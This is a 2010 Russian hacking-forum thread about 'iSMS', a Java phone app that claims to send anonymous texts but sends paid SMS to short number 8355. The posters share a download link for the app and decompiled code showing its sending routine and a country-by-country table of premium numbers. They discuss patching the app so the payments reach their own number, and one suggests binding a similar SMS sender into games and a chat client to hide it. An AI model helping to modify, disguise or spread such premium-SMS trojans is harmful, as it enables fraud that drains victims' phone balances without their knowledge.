Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   подмена номера в java приложении (https://forum.antichat.xyz/showthread.php?t=169360)

ufalog 09.01.2010 02:59

подмена номера в java приложении
 
есть приложение isms

(1252263934_sms_anonim.rar)

скачать можно по ссылке :

http://www.sendspace.com/file/tu5b3c


оно якобы предлагает отослать анонимную смс другу,или подруге от любого номера.

на самом же деле шлет платную смс 9016

на номер 8355


PHP код:

Message From sms://8355 9016 


декодировав классы видим что с.class содержит следующее значение

PHP код:



 c
(Main main)

    {

        
super(p);

        
"8355";

        
"isms";

        
"iSMS";

        
aa "";

        
ab "";

        
ac "";

        
am null;

        
an null;

        
ao null;

        
ap null;

        
main;

        
main.a("/ops");

        
= new String[7];

        
R[0] = a(0x12e598f1);

        
R[1] = a(0x12e76ca1);

        
R[2] = a(0x12e62cd1);

        
R[3] = a(0x12e684c1);

        
R[4] = a(0x12e7d9a1);

        
R[5] = a(0x12e7e0c1);

        
R[6] = a(0x12e7f741);

        
R[0]; 


PHP код:


       T 
String.valueOf(l2) + "6";

        
ap "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449,2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";

        
= new Hashtable();

        
= new Hashtable(); 

сменив эти значение на свои прогой JavaByte мы получаем что приложение будет слать смс на ваш номер и ваш текст .... но не тут то было...


приложение до сих пор шлет смс с текстом 9016 на номер 8355


декодирова все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355


так вот что за чудеса? может кто разбираться в JAVA и подскажет откуда приложение генерирует эту пару номер текст (9016/8355)

ufalog 09.01.2010 03:02

процесс генерации смс параметров
 
PHP код:



   
{

            
"sms://" am;

            
System.out.println(" " Q);

            
MessageConnection messageconnection;

            
TextMessage textmessage;

            (
textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(P)).newMessage("text")).setPayloadText(Q);

            
messageconnection.send(textmessage);

            
messageconnection.close();

        } 


heretic1990 09.01.2010 13:41

Цитата:

декодировав все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355
посмотри, может эти значения зашифрованы!

suser 09.01.2010 14:26

чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

ufalog 09.01.2010 16:51

Цитата:

Сообщение от suser
чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.

suser 09.01.2010 17:24

Цитата:

Сообщение от ufalog
JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.

Дай прожку пожалуйста :)


Время: 05:31